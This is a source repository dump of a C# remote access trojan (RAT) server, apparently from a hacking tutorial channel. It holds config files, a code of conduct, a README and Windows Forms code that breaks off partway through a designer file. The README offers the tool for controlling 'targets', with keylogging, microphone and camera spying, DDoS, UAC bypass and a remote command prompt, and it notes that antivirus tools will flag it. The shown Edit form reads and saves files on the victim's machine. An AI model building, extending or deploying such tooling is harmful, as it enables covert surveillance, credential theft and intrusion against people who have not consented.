├── .gitattributes ├── .gitignore ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── TutServer.sln ├── TutServer.v12.suo.doc └── TutServer ├── App.config ├── Edit.Designer.cs ├── Edit.cs ├── Edit.resx ├── Form1.Designer.cs ├── Form1.cs ├── Form1.resx ├── Program.cs ├── Properties ├── AssemblyInfo.cs ├── Resources.Designer.cs ├── Resources.resx ├── Settings.Designer.cs └── Settings.settings ├── RDesktop.Designer.cs ├── RDesktop.cs ├── RDesktop.resx ├── TutServer.csproj ├── app.manifest ├── bin └── Debug │ ├── NAudio.WindowsMediaFormat.dll │ ├── NAudio.dll │ ├── NAudio.xml │ ├── sCore.dll │ └── scripts │ └── ServerPlugin.dll ├── remotePipe.Designer.cs ├── remotePipe.cs └── remotePipe.resx /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebugPublic/ 15 | [Rr]elease/ 16 | [Rr]eleases/ 17 | x64/ 18 | x86/ 19 | bld/ 20 | [Oo]bj/ 21 | [Ll]og/ 22 | 23 | # Visual Studio 2015 cache/options directory 24 | .vs/ 25 | # Uncomment if you have tasks that create the project's static files in wwwroot 26 | #wwwroot/ 27 | 28 | # MSTest test Results 29 | [Tt]est[Rr]esult*/ 30 | [Bb]uild[Ll]og.* 31 | 32 | # NUNIT 33 | *.VisualState.xml 34 | TestResult.xml 35 | 36 | # Build Results of an ATL Project 37 | [Dd]ebugPS/ 38 | [Rr]eleasePS/ 39 | dlldata.c 40 | 41 | # DNX 42 | project.lock.json 43 | project.fragment.lock.json 44 | artifacts/ 45 | 46 | *_i.c 47 | *_p.c 48 | *_i.h 49 | *.ilk 50 | *.meta 51 | *.obj 52 | *.pch 53 | *.pdb 54 | *.pgc 55 | *.pgd 56 | *.rsp 57 | *.sbr 58 | *.tlb 59 | *.tli 60 | *.tlh 61 | *.tmp 62 | *.tmp_proj 63 | *.log 64 | *.vspscc 65 | *.vssscc 66 | .builds 67 | *.pidb 68 | *.svclog 69 | *.scc 70 | 71 | # Chutzpah Test files 72 | _Chutzpah* 73 | 74 | # Visual C++ cache files 75 | ipch/ 76 | *.aps 77 | *.ncb 78 | *.opendb 79 | *.opensdf 80 | *.sdf 81 | *.cachefile 82 | *.VC.db 83 | *.VC.VC.opendb 84 | 85 | # Visual Studio profiler 86 | *.psess 87 | *.vsp 88 | *.vspx 89 | *.sap 90 | 91 | # TFS 2012 Local Workspace 92 | $tf/ 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | *.DotSettings.user 101 | 102 | # JustCode is a .NET coding add-in 103 | .JustCode 104 | 105 | # TeamCity is a build add-in 106 | _TeamCity* 107 | 108 | # DotCover is a Code Coverage Tool 109 | *.dotCover 110 | 111 | # NCrunch 112 | _NCrunch_* 113 | .*crunch*.local.xml 114 | nCrunchTemp_* 115 | 116 | # MightyMoose 117 | *.mm.* 118 | AutoTest.Net/ 119 | 120 | # Web workbench (sass) 121 | .sass-cache/ 122 | 123 | # Installshield output folder 124 | [Ee]xpress/ 125 | 126 | # DocProject is a documentation generator add-in 127 | DocProject/buildhelp/ 128 | DocProject/Help/*.HxT 129 | DocProject/Help/*.HxC 130 | DocProject/Help/*.hhc 131 | DocProject/Help/*.hhk 132 | DocProject/Help/*.hhp 133 | DocProject/Help/Html2 134 | DocProject/Help/html 135 | 136 | # Click-Once directory 137 | publish/ 138 | 139 | # Publish Web Output 140 | *.[Pp]ublish.xml 141 | *.azurePubxml 142 | # TODO: Comment the next line if you want to checkin your web deploy settings 143 | # but database connection strings (with potential passwords) will be unencrypted 144 | #*.pubxml 145 | *.publishproj 146 | 147 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 148 | # checkin your Azure Web App publish settings, but sensitive information contained 149 | # in these scripts will be unencrypted 150 | PublishScripts/ 151 | 152 | # NuGet Packages 153 | *.nupkg 154 | # The packages folder can be ignored because of Package Restore 155 | **/packages/* 156 | # except build/, which is used as an MSBuild target. 157 | !**/packages/build/ 158 | # Uncomment if necessary however generally it will be regenerated when needed 159 | #!**/packages/repositories.config 160 | # NuGet v3's project.json files produces more ignoreable files 161 | *.nuget.props 162 | *.nuget.targets 163 | 164 | # Microsoft Azure Build Output 165 | csx/ 166 | *.build.csdef 167 | 168 | # Microsoft Azure Emulator 169 | ecf/ 170 | rcf/ 171 | 172 | # Windows Store app package directories and files 173 | AppPackages/ 174 | BundleArtifacts/ 175 | Package.StoreAssociation.xml 176 | _pkginfo.txt 177 | 178 | # Visual Studio cache files 179 | # files ending in .cache can be ignored 180 | *.[Cc]ache 181 | # but keep track of directories ending in .cache 182 | !*.[Cc]ache/ 183 | 184 | # Others 185 | ClientBin/ 186 | ~$* 187 | *~ 188 | *.dbmdl 189 | *.dbproj.schemaview 190 | *.jfm 191 | *.pfx 192 | *.publishsettings 193 | node_modules/ 194 | orleans.codegen.cs 195 | 196 | # Since there are multiple workflows, uncomment next line to ignore bower_components 197 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 198 | #bower_components/ 199 | 200 | # RIA/Silverlight projects 201 | Generated_Code/ 202 | 203 | # Backup & report files from converting an old project file 204 | # to a newer Visual Studio version. Backup files are not needed, 205 | # because we have git ;-) 206 | _UpgradeReport_Files/ 207 | Backup*/ 208 | UpgradeLog*.XML 209 | UpgradeLog*.htm 210 | 211 | # SQL Server files 212 | *.mdf 213 | *.ldf 214 | 215 | # Business Intelligence projects 216 | *.rdl.data 217 | *.bim.layout 218 | *.bim_*.settings 219 | 220 | # Microsoft Fakes 221 | FakesAssemblies/ 222 | 223 | # GhostDoc plugin setting file 224 | *.GhostDoc.xml 225 | 226 | # Node.js Tools for Visual Studio 227 | .ntvs_analysis.dat 228 | 229 | # Visual Studio 6 build log 230 | *.plg 231 | 232 | # Visual Studio 6 workspace options file 233 | *.opt 234 | 235 | # Visual Studio LightSwitch build output 236 | **/*.HTMLClient/GeneratedArtifacts 237 | **/*.DesktopClient/GeneratedArtifacts 238 | **/*.DesktopClient/ModelManifest.xml 239 | **/*.Server/GeneratedArtifacts 240 | **/*.Server/ModelManifest.xml 241 | _Pvt_Extensions 242 | 243 | # Paket dependency manager 244 | .paket/paket.exe 245 | paket-files/ 246 | 247 | # FAKE - F# Make 248 | .fake/ 249 | 250 | # JetBrains Rider 251 | .idea/ 252 | *.sln.iml 253 | 254 | # CodeRush 255 | .cr/ 256 | 257 | # Python Tools for Visual Studio (PTVS) 258 | __pycache__/ 259 | *.pyc 260 | /TutServer/bin/Debug/TutServer.vshost.exe.manifest 261 | /TutServer/bin/Debug/TutServer.vshost.exe.config 262 | /TutServer/bin/Debug/TutServer.vshost.exe 263 | /TutServer/bin/Debug/TutServer.exe.config 264 | /TutServer/bin/Debug/TutServer.exe 265 | /TutServer/bin/Debug/scripts/WebPlugin.dll 266 | /TutServer/bin/Debug/scripts/AndroidExtension.dll 267 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. 6 | 7 | ## Our Standards 8 | 9 | Examples of behavior that contributes to creating a positive environment include: 10 | 11 | * Using welcoming and inclusive language 12 | * Being respectful of differing viewpoints and experiences 13 | * Gracefully accepting constructive criticism 14 | * Focusing on what is best for the community 15 | * Showing empathy towards other community members 16 | 17 | Examples of unacceptable behavior by participants include: 18 | 19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances 20 | * Trolling, insulting/derogatory comments, and personal or political attacks 21 | * Public or private harassment 22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission 23 | * Other conduct which could reasonably be considered inappropriate in a professional setting 24 | 25 | ## Our Responsibilities 26 | 27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. 28 | 29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. 30 | 31 | ## Scope 32 | 33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. 34 | 35 | ## Enforcement 36 | 37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at ghost@mcghost.ddns.net. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. 38 | 39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. 40 | 41 | ## Attribution 42 | 43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] 44 | 45 | [homepage]: http://contributor-covenant.org 46 | [version]: http://contributor-covenant.org/version/1/4/ 47 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contribution 2 | **Thank you for considering contribution to the C\# R.A.T Server Project!** 3 | ## How to contribute? 4 | It's very simple! 5 | 1. Fork the project 6 | 2. Make the changes 7 | 3. Issue a pull request 8 | 4. I will do a merge after verifying (in some cases changing) the code 9 | ## How to report bugs? 10 | You can simply use the *Issues* section on github 11 | Just write an issue, and i will try to respond within 24 hours! 12 | ## How to contribute? (without writing code) 13 | You can also do this on the *Issues* section, and i will label it as *enhancement* 14 | This way you can suggest new features, or change an older one without coding. 15 | I will try to respond within 24 hours! 16 | ## How to run / compile 17 | I use Visual Studio 2017 Community Edition. 18 | The program is written in c\# and built with .NET Framework 4.5 19 | Any additional requirements can be found under TutServer/bin/debug 20 | ## How to ask questions? 21 | You can also use the *Issues* section on GitHub, i will assign a label to it, so it's different from bugs. 22 | I will try to respond within 24 hours! 23 | You can also contact me at my [Youtube Channel](https://www.youtube.com/channel/UCYIOySp8zTTWJG5-n8wpZ2g) 24 | Either a comment on the video about the topic, or a message at the *Discussion* section on my channel page 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Advanced Hacking 101 Project Licence 2 | short and simple 3 | You are free to do anything with this project, as long as you credit me and the project 4 | Links to the project are enough 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # C\# R.A.T Server 2 | This is the server program of the c# R.A.T. 3 | You will need to run this program on your computer, and not on the target's machine. 4 | The targets will connect to you with the help of this program. 5 | **This is not a virus but serval AV will flag it as it's a virus.** 6 | You need to build your own binary from this source code, so no trust issues. 7 | The executable is NOT published on this site, if you want the .exe you have to build the project using Visual Studio. 8 | The .dll files are published, because the project will not start without them. 9 | You need to select allow if the firewall prompt window come's up or the program can't open the TCP Server. 10 | 11 | ## Contains the basic features like: 12 | - Remote Desktop 13 | - Keylogger 14 | - Mic and Cam spy 15 | - DDoS 16 | - Fun menu 17 | - Remote cmd prompt 18 | - Process manager 19 | - File manager 20 | - Plugin Support 21 | - UAC Bypass 22 | - Probing Methods 23 | 24 | This software is **open source**, you can use the code, or pieces of it in your own project. 25 | Or you can just use my project and change the needed values. 26 | You can check out the client [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client) 27 | ## More Information 28 | You can view the project licence [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/LICENSE) 29 | You can read the code of conduct [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/CODE_OF_CONDUCT.md) 30 | You can read how to contribute [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/CONTRIBUTING.md) 31 | 32 | *Happy Coding!* 33 | 34 | **\-Advanced Hacking 101** 35 | -------------------------------------------------------------------------------- /TutServer.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.21005.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TutServer", "TutServer\TutServer.csproj", "{E66E3E96-3B7A-4784-84CF-E6AF40006F91}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /TutServer.v12.suo.doc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Server/776f827268b45825b19f6a8a1f3a27263f25ac98/TutServer.v12.suo.doc -------------------------------------------------------------------------------- /TutServer/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /TutServer/Edit.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace TutServer 2 | { 3 | partial class Edit 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.richTextBox1 = new System.Windows.Forms.RichTextBox(); 32 | this.button1 = new System.Windows.Forms.Button(); 33 | this.button2 = new System.Windows.Forms.Button(); 34 | this.button3 = new System.Windows.Forms.Button(); 35 | this.button4 = new System.Windows.Forms.Button(); 36 | this.button5 = new System.Windows.Forms.Button(); 37 | this.button6 = new System.Windows.Forms.Button(); 38 | this.button7 = new System.Windows.Forms.Button(); 39 | this.checkBox1 = new System.Windows.Forms.CheckBox(); 40 | this.SuspendLayout(); 41 | // 42 | // richTextBox1 43 | // 44 | this.richTextBox1.Location = new System.Drawing.Point(12, 12); 45 | this.richTextBox1.Name = "richTextBox1"; 46 | this.richTextBox1.Size = new System.Drawing.Size(660, 418); 47 | this.richTextBox1.TabIndex = 0; 48 | this.richTextBox1.Text = ""; 49 | // 50 | // button1 51 | // 52 | this.button1.Location = new System.Drawing.Point(597, 436); 53 | this.button1.Name = "button1"; 54 | this.button1.Size = new System.Drawing.Size(75, 23); 55 | this.button1.TabIndex = 1; 56 | this.button1.Text = "Save"; 57 | this.button1.UseVisualStyleBackColor = true; 58 | this.button1.Click += new System.EventHandler(this.button1_Click); 59 | // 60 | // button2 61 | // 62 | this.button2.Location = new System.Drawing.Point(516, 436); 63 | this.button2.Name = "button2"; 64 | this.button2.Size = new System.Drawing.Size(75, 23); 65 | this.button2.TabIndex = 2; 66 | this.button2.Text = "Cancel"; 67 | this.button2.UseVisualStyleBackColor = true; 68 | this.button2.Click += new System.EventHandler(this.button2_Click); 69 | // 70 | // button3 71 | // 72 | this.button3.Location = new System.Drawing.Point(435, 436); 73 | this.button3.Name = "button3"; 74 | this.button3.Size = new System.Drawing.Size(75, 23); 75 | this.button3.TabIndex = 3; 76 | this.button3.Text = "Undo"; 77 | this.button3.UseVisualStyleBackColor = true; 78 | this.button3.Click += new System.EventHandler(this.button3_Click); 79 | // 80 | // button4 81 | // 82 | this.button4.Location = new System.Drawing.Point(354, 436); 83 | this.button4.Name = "button4"; 84 | this.button4.Size = new System.Drawing.Size(75, 23); 85 | this.button4.TabIndex = 4; 86 | this.button4.Text = "Redo"; 87 | this.button4.UseVisualStyleBackColor = true; 88 | this.button4.Click += new System.EventHandler(this.button4_Click); 89 | // 90 | // button5 91 | // 92 | this.button5.Location = new System.Drawing.Point(273, 436); 93 | this.button5.Name = "button5"; 94 | this.button5.Size = new System.Drawing.Size(75, 23); 95 | this.button5.TabIndex = 5; 96 | this.button5.Text = "Encrypt"; 97 | this.button5.UseVisualStyleBackColor = true; 98 | this.button5.Click += new System.EventHandler(this.button5_Click); 99 | // 100 | // button6 101 | // 102 | this.button6.Location = new System.Drawing.Point(192, 436); 103 | this.button6.Name = "button6"; 104 | this.button6.Size = new System.Drawing.Size(75, 23); 105 | this.button6.TabIndex = 6; 106 | this.button6.Text = "Decrypt"; 107 | this.button6.UseVisualStyleBackColor = true; 108 | this.button6.Click += new System.EventHandler(this.button6_Click); 109 | // 110 | // button7 111 | // 112 | this.button7.Location = new System.Drawing.Point(111, 436); 113 | this.button7.Name = "button7"; 114 | this.button7.Size = new System.Drawing.Size(75, 23); 115 | this.button7.TabIndex = 7; 116 | this.button7.Text = "Clear"; 117 | this.button7.UseVisualStyleBackColor = true; 118 | this.button7.Click += new System.EventHandler(this.button7_Click); 119 | // 120 | // checkBox1 121 | // 122 | this.checkBox1.AutoSize = true; 123 | this.checkBox1.Location = new System.Drawing.Point(12, 440); 124 | this.checkBox1.Name = "checkBox1"; 125 | this.checkBox1.Size = new System.Drawing.Size(70, 17); 126 | this.checkBox1.TabIndex = 8; 127 | this.checkBox1.Text = "Write File"; 128 | this.checkBox1.UseVisualStyleBackColor = true; 129 | this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); 130 | // 131 | // Edit 132 | // 133 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 134 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 135 | this.ClientSize = new System.Drawing.Size(684, 473); 136 | this.Controls.Add(this.checkBox1); 137 | this.Controls.Add(this.button7); 138 | this.Controls.Add(this.button6); 139 | this.Controls.Add(this.button5); 140 | this.Controls.Add(this.button4); 141 | this.Controls.Add(this.button3); 142 | this.Controls.Add(this.button2); 143 | this.Controls.Add(this.button1); 144 | this.Controls.Add(this.richTextBox1); 145 | this.Name = "Edit"; 146 | this.Text = "Edit"; 147 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Edit_FormClosing); 148 | this.Shown += new System.EventHandler(this.Edit_Shown); 149 | this.ResumeLayout(false); 150 | this.PerformLayout(); 151 | 152 | } 153 | 154 | #endregion 155 | 156 | private System.Windows.Forms.RichTextBox richTextBox1; 157 | private System.Windows.Forms.Button button1; 158 | private System.Windows.Forms.Button button2; 159 | private System.Windows.Forms.Button button3; 160 | private System.Windows.Forms.Button button4; 161 | private System.Windows.Forms.Button button5; 162 | private System.Windows.Forms.Button button6; 163 | private System.Windows.Forms.Button button7; 164 | private System.Windows.Forms.CheckBox checkBox1; 165 | } 166 | } -------------------------------------------------------------------------------- /TutServer/Edit.cs: -------------------------------------------------------------------------------- 1 | using System; //For basic system functions 2 | using System.Collections.Generic; //For list 3 | using System.Drawing; //For form graphics 4 | using System.Windows.Forms; //For form interaction and controls 5 | using sCore.UI; //The plugin core UI 6 | 7 | #pragma warning disable IDE1006 8 | 9 | namespace TutServer //The application namespace 10 | { 11 | /// 12 | /// Class that handles editing of text based files 13 | /// 14 | public partial class Edit : Form 15 | { 16 | #region Global Variables 17 | 18 | /// 19 | /// The conten to edit 20 | /// 21 | private string content; 22 | /// 23 | /// Reference to the main form 24 | /// 25 | private Form1 prt; 26 | 27 | #endregion 28 | 29 | #region Form and Editor 30 | 31 | /// 32 | /// Create a new file editor 33 | /// 34 | /// The file content to edit 35 | /// Reference to the main form 36 | public Edit(String textFile, Form1 parent) 37 | { 38 | content = textFile; //Set the edit content 39 | prt = parent; //Set the main form reference 40 | InitializeComponent(); //Init the controls 41 | } 42 | 43 | /// 44 | /// Editor loaded the controls and the form 45 | /// 46 | /// The sender of the event 47 | /// The event args 48 | private void Edit_Shown(object sender, EventArgs e) 49 | { 50 | richTextBox1.ReadOnly = true; //Set mode to read only 51 | richTextBox1.BackColor = SystemColors.Window; //Set the color to window (not the grayish color you get for read only) 52 | richTextBox1.Text = content; //Set the editor content 53 | CommonControls.editorTextBox = richTextBox1; //Notify the plugins of the file editor 54 | } 55 | 56 | /// 57 | /// Enable/Disable the read only property of the editor 58 | /// 59 | /// The sender of the event 60 | /// The event args 61 | private void checkBox1_CheckedChanged(object sender, EventArgs e) 62 | { 63 | bool isReadOnly = !checkBox1.Checked; //Get the state of read only 64 | richTextBox1.ReadOnly = isReadOnly; //Set the read only state 65 | } 66 | 67 | /// 68 | /// Clear the whole editor text 69 | /// 70 | /// The sender of the event 71 | /// The event args 72 | private void button7_Click(object sender, EventArgs e) 73 | { 74 | richTextBox1.Clear(); //Clear the editor box 75 | } 76 | 77 | /// 78 | /// Decrypt the contents of the file 79 | /// 80 | /// The sender of the event 81 | /// The event args 82 | private void button6_Click(object sender, EventArgs e) 83 | { 84 | try //Try 85 | { 86 | string[] lines = richTextBox1.Lines; //Get the lines of the text 87 | List decrypted = new List(); //Declare a new list for decrypted lines 88 | for (int i = 0; i < lines.Length; i++)//Go through each encrypted line 89 | { 90 | string line = lines[i]; 91 | decrypted.Add(prt.Decrypt(line)); //decrypt the line and add it to the list 92 | } 93 | richTextBox1.Lines = decrypted.ToArray(); //Set the decrypted lines as the text 94 | richTextBox1.Refresh(); //Refresh the richTextBox's display 95 | } 96 | catch (Exception ex) //Can't decrypt 97 | { 98 | MessageBox.Show(this, "Error", "Error trying to decrypt content!\n" + ex.Message, MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user 99 | } 100 | } 101 | 102 | /// 103 | /// Encrypt the editor text 104 | /// 105 | /// The sender of the event 106 | /// The event args 107 | private void button5_Click(object sender, EventArgs e) 108 | { 109 | try //Try 110 | { 111 | string[] lines = richTextBox1.Lines; //Get the lines of the text 112 | List encrypted = new List(); //Declare a new list for encrypted lines 113 | for (int i = 0; i < lines.Length; i++)//Go through each plain text line 114 | { 115 | string line = lines[i]; 116 | encrypted.Add(prt.Encrypt(line)); //Encrypt the lines and add it to the list 117 | } 118 | richTextBox1.Lines = encrypted.ToArray(); //Set the editor content to the encrypted lines 119 | richTextBox1.Refresh(); //Refresh the editor display 120 | } 121 | catch (Exception ex) //Can't encrypt 122 | { 123 | MessageBox.Show(this, "Error", "Error trying to encrypt content!\n" + ex.Message, MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user 124 | } 125 | } 126 | 127 | /// 128 | /// Redo the last change made to the content 129 | /// 130 | /// The sender of the event 131 | /// The event args 132 | private void button4_Click(object sender, EventArgs e) 133 | { 134 | richTextBox1.Redo(); //Redo a change 135 | } 136 | 137 | /// 138 | /// Undo the last change made to the content 139 | /// 140 | /// The sender of the event 141 | /// The event args 142 | private void button3_Click(object sender, EventArgs e) 143 | { 144 | richTextBox1.Undo(); //Undo the last change 145 | } 146 | 147 | /// 148 | /// Close without saving 149 | /// 150 | /// The sender of the event 151 | /// The event args 152 | private void button2_Click(object sender, EventArgs e) 153 | { 154 | Close(); //Close the form 155 | } 156 | 157 | /// 158 | /// Save the file on remote client 159 | /// 160 | /// The sender of the event 161 | /// The event args 162 | private void button1_Click(object sender, EventArgs e) 163 | { 164 | prt.SaveFile(richTextBox1.Text); //Save the file 165 | } 166 | 167 | /// 168 | /// Form Closing event (not saving the file) 169 | /// 170 | /// The sender of the event 171 | /// The event args 172 | private void Edit_FormClosing(object sender, FormClosingEventArgs e) 173 | { 174 | CommonControls.editorTextBox = null; //Remove the editro reference from the plugins 175 | } 176 | 177 | #endregion 178 | } 179 | } 180 | -------------------------------------------------------------------------------- /TutServer/Edit.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /TutServer/Form1.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace TutServer 2 | { 3 | partial class Form1 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.components = new System.ComponentModel.Container(); 32 | System.Windows.Forms.ListViewGroup listViewGroup1 = new System.Windows.Forms.ListViewGroup("Google Chrome", System.Windows.Forms.HorizontalAlignment.Left); 33 | System.Windows.Forms.ListViewGroup listViewGroup2 = new System.Windows.Forms.ListViewGroup("Internet Explorer", System.Windows.Forms.HorizontalAlignment.Left); 34 | System.Windows.Forms.ListViewGroup listViewGroup3 = new System.Windows.Forms.ListViewGroup("Firefox", System.Windows.Forms.HorizontalAlignment.Left); 35 | this.tabControl1 = new System.Windows.Forms.TabControl(); 36 | this.tabPage1 = new System.Windows.Forms.TabPage(); 37 | this.label24 = new System.Windows.Forms.Label(); 38 | this.label2 = new System.Windows.Forms.Label(); 39 | this.button2 = new System.Windows.Forms.Button(); 40 | this.listView1 = new System.Windows.Forms.ListView(); 41 | this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 42 | this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 43 | this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 44 | this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 45 | this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 46 | this.button1 = new System.Windows.Forms.Button(); 47 | this.label1 = new System.Windows.Forms.Label(); 48 | this.tabPage2 = new 